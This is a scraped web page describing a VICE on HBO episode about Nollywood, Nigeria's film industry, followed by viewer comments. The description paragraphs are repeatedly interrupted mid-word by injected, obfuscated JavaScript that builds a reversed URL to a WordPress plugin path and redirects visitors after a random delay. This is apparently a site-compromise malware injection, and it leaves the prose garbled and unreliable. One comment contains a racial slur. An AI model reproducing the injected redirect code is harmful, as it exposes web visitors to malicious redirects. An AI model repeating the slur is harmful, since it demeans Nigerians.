We Tried Making It In “Nollywood,” Nigeria’s Booming Film Business: VICE on HBO, Full Episode
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Nigeria’s film industry in booming. Nollywood has quickly grown intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a $3 billion dollar industry that is creating a new generation of Nigerian filmmakers.
Nollywood began with the 1992 dramatic thriller, “Living in Bondage.“ The film reveals a stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory about a man who is haunted by his wife’s ghost after sacrificing her toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a cult.
The VHS masterpiece inspired an entire movement of DIY filmmaking in Nigeria, and these unique narratives that are authentic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Nigeria have made Nollywood highly popular across Africa and its diaspora audience.
Nollywood produces thousands of movies per year, most of them on shoestring budgets and made within days. These movies have a widespread reach and are entertaining audiences in rural and urban settings alike — from makeshift street barbershops and beauty salons toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to local cinemas and online streaming services like iROKOtv and even Netflix.
This shift toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to digital is re-defining the existing Nollywood model while creating a new generation of Nigerian filmmakers, who are making high-production value films for the big screen and digital streaming platforms.
VICE’s Thomas Mortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton traveled toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Nigeria toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to spotlight the world’s second largest film industry as he attempts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become a Nollywood actoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor himself.
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Yo, he dead ass looked like Tony Montana @ 10:02! That's scary!!
father Thomas or terrorist Thomas
Why are you running?!
So far one of my favourite vice episode
Lol, that director really enjoyed the white guy playing the helpless "terrorist" a bit too much… and idk… i kinda did too
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what's the movie's name
Lol witchcraft features omg so damn funny
Cool.I didn't know that nollywood is so big. I only saw abit of nigerian films.
"Average, hahah. Average. You were average."
that fela kuti track at the beginning is killerrrrr
They kept giving him the hardest things to do
I don't know why I find this so heart warming
But why would they want in the movies though?
aka niggawood
Okay but what's the movie he acted in?
Nigerians keep sending me spam emails that I have 5million in a trust fund lol they just need my social and a credit card to release those funds
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HMM, this is interesting as hell
We should lead Africa..exactly. Hope things better for them
Lol shout out to Segun Arinze! 😀
It's like Bollywood. It's not professional acting but it's very cultural. That's how the people like their cinema.
Nolly wood is utter garbage tho
Fela kuti
I see no wahala with the overreacting abi.
This was fun this was fucking fun.
4:59 white priviledge
hahaha ur so awkward.
I think this is how nigeria will emerge.
A country for black people, I want to move there
In before all the hipster actors moves to Nigeria
10:27
Beautiful documentary. The directors comments at 7:29 killed me hahaha!!
you just made me want to watch this movie.
Hollywood's actually third hehehe
What do you mean by 3rd “biggest”?